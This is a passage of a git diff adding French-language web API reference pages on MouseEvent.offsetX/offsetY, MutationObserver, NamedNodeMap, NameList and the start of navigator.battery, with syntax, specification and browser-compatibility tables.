+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Nécessite l'activation de l'indicateur <code>ExperimentalCanvasFeatures</code>.</p>
+
+<p> </p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<div>Son parent direct : {{domxref("UIEvent")}}.</div>
+
+<p> </p>
diff --git a/files/fr/web/api/mouseevent/offsetx/index.html b/files/fr/web/api/mouseevent/offsetx/index.html
new file mode 100644
index 0000000000..853c9d18c7
--- /dev/null
+++ b/files/fr/web/api/mouseevent/offsetx/index.html
@@ -0,0 +1,122 @@
+---
+title: MouseEvent.offsetX
+slug: Web/API/MouseEvent/offsetX
+tags:
+  - API
+  - Experimental
+  - MouseEvent
+  - Property
+  - Read-only
+  - Reference
+translation_of: Web/API/MouseEvent/offsetX
+---
+<p>{{APIRef("DOM Events")}}{{SeeCompatTable}}</p>
+
+<p>La propriété en lecture seule <strong><code>offsetX</code></strong> de l'interface {{domxref("MouseEvent")}} fournit le décalage sur l'axe X du pointeur de la souris entre cet évènement et la bordure de la marge intérieure du noeud cible.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var xOffset = <em>instanceOfMouseEvent</em>.offsetX;
+</pre>
+
+<h3 id="Valeur_renvoyée">Valeur renvoyée</h3>
+
+<p>Un nombre à virgule flottante double précision <code>double</code>. Les premières versions de la spécification la définissaient comme un nombre entier. Pour plus de détails, voir la section Compatibilité des navigateurs.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-mouseevent-offsetx', 'MouseEvent')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("39.0")}}</td>
+   <td>6</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Redéfini de <code>long</code> à <code>double</code></td>
+   <td>{{CompatChrome(56)}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionalité</th>
+   <th>Android Webview</th>
+   <th>Chrome pour Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("43.0")}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Redéfini de <code>long</code> à <code>double</code></td>
+   <td>{{CompatChrome(56)}}</td>
+   <td>{{CompatChrome(56)}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Voir aussi</h2>
+
+<ul>
+ <li>{{ domxref("MouseEvent") }}</li>
+</ul>
diff --git a/files/fr/web/api/mouseevent/offsety/index.html b/files/fr/web/api/mouseevent/offsety/index.html
new file mode 100644
index 0000000000..7227d3b0ee
--- /dev/null
+++ b/files/fr/web/api/mouseevent/offsety/index.html
@@ -0,0 +1,122 @@
+---
+title: MouseEvent.offsetY
+slug: Web/API/MouseEvent/offsetY
+tags:
+  - API
+  - Experimental
+  - MouseEvent
+  - Property
+  - Read-only
+  - Reference
+translation_of: Web/API/MouseEvent/offsetY
+---
+<p>{{APIRef("DOM Events")}}{{SeeCompatTable}}</p>
+
+<p>La propriété en lecture seule <strong><code>offsetY</code></strong> de l'interface {{domxref("MouseEvent")}}  fournit le décalage sur l'axe Y du pointeur de la souris entre cet évènement et la bordure de la marge intérieure du noeud cible.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var yOffset = <em>instanceOfMouseEvent</em>.offsetY;
+</pre>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Un nombre à virgule flottante double précision <code>double</code>. Les premières versions de la spécification la définissaient comme un nombre entier. Pour plus de détails, voir la section Commpatibilité des navigateurs.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-mouseevent-offsety', 'MouseEvent')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("39.0")}}</td>
+   <td>6</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Redéfini de <code>long</code> à <code>double</code></td>
+   <td>{{CompatChrome(56)}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android Webview</th>
+   <th>Chrome pour Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("43.0")}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Redéfini de <code>long</code> à <code>double</code></td>
+   <td>{{CompatChrome(56)}}</td>
+   <td>{{CompatChrome(56)}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Voir aussi</h2>
+
+<ul>
+ <li>{{ domxref("MouseEvent") }}</li>
+</ul>
diff --git a/files/fr/web/api/mutationobserver/index.html b/files/fr/web/api/mutationobserver/index.html
new file mode 100644
index 0000000000..9ef10b13db
--- /dev/null
+++ b/files/fr/web/api/mutationobserver/index.html
@@ -0,0 +1,245 @@
+---
+title: MutationObserver
+slug: Web/API/MutationObserver
+translation_of: Web/API/MutationObserver
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p><code>MutationObserver</code> fournit un moyen d’intercepter les changements dans le <a href="/en-US/docs/DOM">DOM</a>. Il a été conçu pour remplacer les <a href="/en-US/docs/DOM/Mutation_events">Mutation Events</a> définis dans la spécification DOM3 Events.</p>
+
+<h2 id="Constructor" name="Constructor">Constructeur</h2>
+
+<h3 id="MutationObserver()" name="MutationObserver()"><code>MutationObserver()</code></h3>
+
+<p>Le constructeur permettant d’instancier un nouvel observateur de mutations DOM.</p>
+
+<pre class="syntaxbox">new MutationObserver( function callback );</pre>
+
+<h6 id="Parameters" name="Parameters">Paramètres</h6>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>Une fonction qui sera appelée à chaque mutation du DOM. L’observateur appellera cette fonction avec deux arguments. Le premier est un tableau d’objets de type {{domxref("MutationRecord")}} ; le second est l’instance de <code>MutationObserver</code>.</dd>
+</dl>
+
+<h2 id="Instance_methods" name="Instance_methods">Méthodes d’instance</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>void <a href="#observe()">observe</a>( {{domxref("Node")}} target, <a href="#MutationObserverInit">MutationObserverInit</a> options );</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#disconnect()">disconnect</a>();</code></td>
+  </tr>
+  <tr>
+   <td><code>Array <a href="#takeRecords()">takeRecords</a>();</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Note</strong>: La cible {{domxref("Node")}} ne doit pas être confondue avec celle de <a href="https://nodejs.org/en/">NodeJS</a>.</p>
+</div>
+
+<h3 id="observe()" name="observe()"><code>observe()</code></h3>
+
+<p>Inscrit l’instance du <code>MutationObserver</code> afin d’être notifié des mutations DOM du nœud sélectionné.</p>
+
+<pre class="syntaxbox">void observe( {{domxref("Node")}} target, <a href="#MutationObserverInit"><code>MutationObserverInit</code></a> options );
+</pre>
+
+<h6 id="Parameters" name="Parameters">Paramètres</h6>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>Le {{domxref("Node")}} (nœud) sur lequel doivent être observées les mutations DOM.</dd>
+ <dt><code>options</code></dt>
+ <dd>Un objet du type <a href="#MutationObserverInit"><code>MutationObserverInit</code></a>. Il spécifie quelles mutations DOM sont à rapporter.</dd>
+</dl>
+
+<div class="note"><strong>Note :</strong> ajouter un observateur sur un élément revient à utiliser <code>addEventListener</code>. Si vous observez un élément plusieurs fois, cela n’a pas d’impact, dans le sens où, si vous observez un élément deux fois, la callback ne sera pas appelée deux fois, et vous n’aurez pas besoin d’appeler <code>disconnect()</code> deux fois. En d’autres termes, une fois qu’un élément est observé, l’observer à nouveau avec la même instance n’a pas d’effet. Cependant, si la callback est différente, un nouvel observateur sera ajouté.</div>
+
+<h3 id="disconnect()" name="disconnect()"><code>disconnect()</code></h3>
+
+<p>L’instance <code>MutationObserver</code> cesse de recevoir les notifications de mutations DOM. Jusqu’à ce que la méthode <a href="#observe()"><code>observe()</code></a> soit appelée à nouveau, les callbacks de l’observateur ne seront pas invoquées.</p>
+
+<pre class="syntaxbox">void disconnect();
+</pre>
+
+<div class="note">
+<p><strong>Note : </strong>Selon la <a href="https://dom.spec.whatwg.org/#garbage-collection">spécification</a>, un <code>MutationObserver</code> est supprimé par le garbage collector si l'élément cible est supprimé.</p>
+</div>
+
+<h3 id="takeRecords()" name="takeRecords()"><code>takeRecords()</code></h3>
+
+<p>Vide la file des mutations enregistrées du <code>MutationObserver</code> et retourne son contenu.</p>
+
+<pre class="syntaxbox">Array takeRecords();
+</pre>
+
+<dl>
+ <dt>Valeur de retour</dt>
+ <dd>Retourne un tableau de  {{domxref("MutationRecord")}}.</dd>
+</dl>
+
+<h2 id="MutationObserverInit" name="MutationObserverInit"><code>MutationObserverInit</code></h2>
+
+<p><code>MutationObserverInit</code> est un objet pouvant avoir les propriétés suivantes :</p>
+
+<div class="note"><strong>Note :</strong> Au moins une propriété parmi <code>childList</code>, <code>attributes</code> ou <code>characterData</code> doit être initialisée à <code>true</code>, sinon l’erreur <em lang="en">"An invalid or illegal string was specified</em>" sera émise.</div>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Propriété</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>childList</code></td>
+   <td><code>true</code> si l’ajout ou la suppression des éléments enfants du nœud visé (incluant les nœuds de texte) sont à observer.</td>
+  </tr>
+  <tr>
+   <td><code>attributes</code></td>
+   <td><code>true</code> si les mutations d’attributs du nœud visé sont à observer.</td>
+  </tr>
+  <tr>
+   <td><code>characterData</code></td>
+   <td><code>true</code> si les mutation de texte du nœud visé sont à observer.</td>
+  </tr>
+  <tr>
+   <td><code>subtree</code></td>
+   <td><code>true</code> si les descendants du nœud visé sont également à observer.</td>
+  </tr>
+  <tr>
+   <td><code>attributeOldValue</code></td>
+   <td><code>true</code> si <code>attributes</code> est <code>true</code> et si la valeur des attributs avant mutation doit être enregistrée.</td>
+  </tr>
+  <tr>
+   <td><code>characterDataOldValue</code></td>
+   <td><code>true</code> si <code>characterData</code> est <code>true</code> et si la valeur des données avant mutation doit être enregistrée.</td>
+  </tr>
+  <tr>
+   <td><code>attributeFilter</code></td>
+   <td>Spécifiez un tableau de noms d’attributs locaux (sans namespace) si vous souhaitez n’observer les mutations que sur une partie des attributs.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemple_d’utilisation">Exemple d’utilisation</h2>
+
+<p>L’exemple suivant est extrait de ce <a class="external" href="http://hacks.mozilla.org/2012/05/dom-mutationobserver-reacting-to-dom-changes-without-killing-browser-performance/" rel="freelink">blog</a>.</p>
+
+<pre class="brush: js">// Selectionne le noeud dont les mutations seront observées
+var targetNode = document.getElementById('some-id');
+
+// Options de l'observateur (quelles sont les mutations à observer)
+var config = { attributes: true, childList: true };
+
+// Fonction callback à éxécuter quand une mutation est observée
+var callback = function(mutationsList) {
+    for(var mutation of mutationsList) {
+        if (mutation.type == 'childList') {
+            console.log('Un noeud enfant a été ajouté ou supprimé.');
+        }
+        else if (mutation.type == 'attributes') {
+            console.log("L'attribut '" + mutation.attributeName + "' a été modifié.");
+        }
+    }
+};
+
+// Créé une instance de l'observateur lié à la fonction de callback
+var observer = new MutationObserver(callback);
+
+// Commence à observer le noeud cible pour les mutations précédemment configurées
+observer.observe(targetNode, config);
+
+// L'observation peut être arrêtée par la suite
+observer.disconnect();</pre>
+
+<h2 id="Additional_reading" name="Additional_reading">Autres articles pour en savoir plus (en anglais)</h2>
+
+<ul>
+ <li><a class="external" href="http://updates.html5rocks.com/2012/02/Detect-DOM-changes-with-Mutation-Observers" rel="freelink">A brief overview</a></li>
+ <li><a class="external" href="http://hacks.mozilla.org/2012/05/dom-mutationobserver-reacting-to-dom-changes-without-killing-browser-performance/" rel="freelink">A more in-depth discussion</a></li>
+ <li><a class="external" href="http://www.youtube.com/watch?v=eRZ4pO0gVWw" rel="freelink">A screencast by Chromium developer Rafael Weinstein</a></li>
+ <li><a class="external" href="http://code.google.com/p/mutation-summary/" rel="freelink">The mutation summary library</a></li>
+ <li><a href="http://dom.spec.whatwg.org/#mutation-observers">The DOM standard</a> which defines the <code>MutationObserver</code> interface</li>
+</ul>
+
+<h2 id="Spécifications" name="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#mutationobserver', 'MutationObserver')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>18 {{ property_prefix("WebKit") }}<br>
+    26</td>
+   <td>{{ CompatGeckoDesktop(14) }}</td>
+   <td>11</td>
+   <td>15</td>
+   <td>6.0 {{ property_prefix("WebKit") }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Chrome pour Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>18 {{ property_prefix("WebKit") }}<br>
+    26</td>
+   <td>{{ CompatGeckoMobile(14) }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>15</td>
+   <td>
+    <p>6 {{ property_prefix("WebKit")}}</p>
+
+    <p>7</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/fr/web/api/namednodemap/index.html b/files/fr/web/api/namednodemap/index.html
new file mode 100644
index 0000000000..51926c4857
--- /dev/null
+++ b/files/fr/web/api/namednodemap/index.html
@@ -0,0 +1,163 @@
+---
+title: NamedNodeMap
+slug: Web/API/NamedNodeMap
+tags:
+  - API
+  - DOM
+  - Interface
+  - Reference
+translation_of: Web/API/NamedNodeMap
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>L'interface <code><strong>NamedNodeMap</strong></code> représente une collection d'objets {{domxref("Attr")}}. Les objets de cette collection n'ont pas d'ordre particulier (contrairement à {{domxref("NodeList")}}) mais on peut y accéder grâce à un index (comme pour un tableau).</p>
+
+<p>Un objet <code>NamedNodeMap</code> est <em>vivant</em> et sera automatiquement mis à jour si des modifications sont apportées à son contenu (que cela provienne d'une source interne ou externe).</p>
+
+<div class="note">
+<p><strong>Note :</strong> Bien qu'intitulée <code>NamedNodeMap</code>, cette interface ne manipule pas d'objets {{domxref("Node")}} mais des objets {{domxref("Attr")}}. Ces derniers étaient à l'origine (et le sont toujours pour certaines implémentations) une classe spécialisée de {{domxref("Node")}}.</p>
+</div>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Cette interface n'hérite d'aucune propriété.</em></p>
+
+<dl>
+ <dt>{{domxref("NamedNodeMap.length")}} {{ReadOnlyInline}}</dt>
+ <dd>Cette propriété renvoie le nombre d'objets contenus dans la <em>map</em>.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Cette interface n'hérite d'aucune méthode.</em></p>
+
+<dl>
+ <dt>{{domxref("NamedNodeMap.getNamedItem()")}}</dt>
+ <dd>Cette méthode renvoie un objet {{domxref("Attr")}} qui correspond au nom indiqué.</dd>
+ <dt>{{domxref("NamedNodeMap.setNamedItem()")}}</dt>
+ <dd>Cette méthode remplace ou ajoute l'objet {{domxref("Attr")}} identifié dans la collection par le nom indiqué.</dd>
+ <dt>{{domxref("NamedNodeMap.removeNamedItem()")}}</dt>
+ <dd>Cette méthode retire l'objet {{domxref("Attr")}} de la collection à partir du nom indiqué.</dd>
+ <dt>{{domxref("NamedNodeMap.item()")}}</dt>
+ <dd>Cette méthode renvoie l'objet {{domxref("Attr")}} à l'index indiqué (ou <code>null</code> si l'index est supérieur ou égal au nombre de nœuds.</dd>
+ <dt>{{domxref("NamedNodeMap.getNamedItemNS()")}}</dt>
+ <dd>Cette méthode renvoie un objet {{domxref("Attr")}} identifié par un espace de noms et un nom local associé.</dd>
+ <dt>{{domxref("NamedNodeMap.setNamedItemNS()")}}</dt>
+ <dd>Cette méthode remplace ou ajoute un objet {{domxref("Attr")}} identifié par un espace de noms et un nom local associé.</dd>
+ <dt>{{domxref("NamedNodeMap.removeNamedItemNS()")}}</dt>
+ <dd>Cette méthode retire l'objet {{domxref("Attr")}} de la collection à partir d'un espace de noms et d'un nom local associé.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-namednodemap', 'NamedNodeMap')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Interagit avec {{domxref("Attr")}} plutôt qu'avec {{domxref("Node")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-1780488922', 'NamedNodeMap')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Aucune modification depuis {{SpecName('DOM2 Core')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-1780488922', 'NamedNodeMap')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Ajout des méthodes <code>getNamedItemNS()</code>, <code>setNamedItemNS()</code> et <code>removeNamedItemNS()</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'core.html#ID-1780488922', 'NamedNodeMap')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Manipule des objets {{domxref("Attr")}} et pas des objets {{domxref("Node")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(22)}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Manipule des objets {{domxref("Attr")}} et pas des objets {{domxref("Node")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(22)}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] In Gecko 22 this interface was named <code>mozNamedAttrMap</code>. In Gecko 34 it was named back to <code>NamedNodeMap</code>.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Element.attributes")}}</li>
+ <li>{{domxref("Attr")}}</li>
+ <li>{{domxref("NodeList")}}</li>
+</ul>
diff --git a/files/fr/web/api/namelist/index.html b/files/fr/web/api/namelist/index.html
new file mode 100644
index 0000000000..9003767ee3
--- /dev/null
+++ b/files/fr/web/api/namelist/index.html
@@ -0,0 +1,52 @@
+---
+title: NameList
+slug: Web/API/NameList
+tags:
+  - API
+  - DOM
+  - Obsolete
+translation_of: Web/API/NameList
+---
+<div>{{APIRef("DOM")}} {{ obsolete_header("10.0") }}</div>
+
+<div class="note">
+<p><strong>Note:</strong> Bien que cette interface ait été précédemment implémentée dans Gecko, il n'y avait aucun moyen d'en créer une. <code>NameList</code> a été supprimé, en vigueur avec {{ Gecko("10.0") }}</p>
+</div>
+
+<p>L'interface <code><strong>NameList</strong></code> fournit une abstraction pour une collection ordonnée de paires de valeurs de nom et d'espace de noms. Les éléments sont accessibles par un index basé sur 0. La spécification DOM ne spécifie pas comment la collection doit être implémentée.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("NameList.length")}} {{readonlyInline}}</dt>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{domxref("NameList.contains()")}}</dt>
+ <dd>Renvoie un {{jsxref("Boolean")}}.</dd>
+ <dt>{{domxref("NameList.containsNS()")}}</dt>
+ <dd>Renvoie un {{jsxref("Boolean")}}.</dd>
+ <dt>{{domxref("NameList.getName()")}}</dt>
+ <dd>Renvoie un {{domxref("DOMString")}}.</dd>
+ <dt>{{domxref("NameList.getNamespaceURI()")}}</dt>
+ <dd>Renvoie un {{domxref("DOMString")}}.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Spécification</th>
+   <th>Statut</th>
+   <th>Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM3 Core", "core.html#NameList", "NameList")}}</td>
+   <td>{{Spec2("DOM3 Core")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/api/navigator/battery/index.html b/files/fr/web/api/navigator/battery/index.html
new file mode 100644
index 0000000000..5e03c2f40f
--- /dev/null
+++ b/files/fr/web/api/navigator/battery/index.html
@@ -0,0 +1,127 @@
+---
+title: window.navigator.battery
+slug: Web/API/Navigator/battery
+translation_of: Web/API/Navigator/battery
+---
+<p>{{ Apiref() }}</p>
+
+<p>{{ SeeCompatTable() }}</p>
+
+<p>L'API Battery Status fournit des informations sur le niveau de charge du système et vous permet d'être notifiée via certains évènements si le niveau de batterie varie. Elle peut être utilisée pour privilégier les tâches moins gourmantes en traitement processeur sur votre site si le niveau de batterie est faible ou permettre une sauvegarde de vos travaux pour prévir d'une perte de données si la batterie est presque vide.</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<dl>
+ <dt><code>charging</code></dt>
+ <dd><strong>Lecture seule</strong>. Un booléen représentant le statut de charge de la batterie du système. Il retourne <code>vrai</code> si la batterie est en charge, si l'état de charge n'est pas déterminable, ou si aucune batterie n'est branchée au système. Retourne <code>faux</code> si la batterie est en cours de décharge.</dd>
+ <dt><code>chargingTime</code></dt>
+ <dd><strong>Lecture seule</strong>. Un double représentant le temps restant en secondes avant que la batterie ne soit complètement chargée. Retourne 0 si la batterie est complètement chargée.<br>
+ Retourne un infini positif si la batterie se décharge ou si l'implémentation est incapable de déterminer le temps de charge restant.</dd>
+ <dt><code>dischargingTime</code></dt>
+ <dd><strong>Lecture seule</strong>. Un double représentant le temps restant en secondes avant que la batterie ne soit complètement déchargée et que le système ne soit suspendu. Retourne un infini positif si la batterie est en charge, si l'implémentation n'est pas capable de déterminer le temps de décharge restant, ou s'il n'y a pas de batterie branchée au système.</dd>
+ <dt><code>level</code></dt>
+ <dd><strong>Lecture seule</strong>. Un double représentant le niveau de charge de la batterie du système, échelonné de 0 à 1.0. Retourne 0 si la batterie est vide et que le système est sur le point d'être suspendu. Retourne 1.0 si la batterie est pleine, si l'implémentation n'est pas capable de déterminer le niveau de charge de la batterie, ou s'il n'y a pas de batterie branchée au système.</dd>
+</dl>
+
+<h2 id="Evènements">Evènements</h2>
+
+<dl>
+ <dt><code>chargingchange</code></dt>
+ <dd>Déclenché lorsque l'état de charge de la batterie est mis à jour.</dd>
+ <dt><code>chargingtimechange</code></dt>
+ <dd>Déclenché lorsque le temps de charge de la batterie est mis à jour.</dd>
+ <dt><code>dischargingtimechange</code></dt>
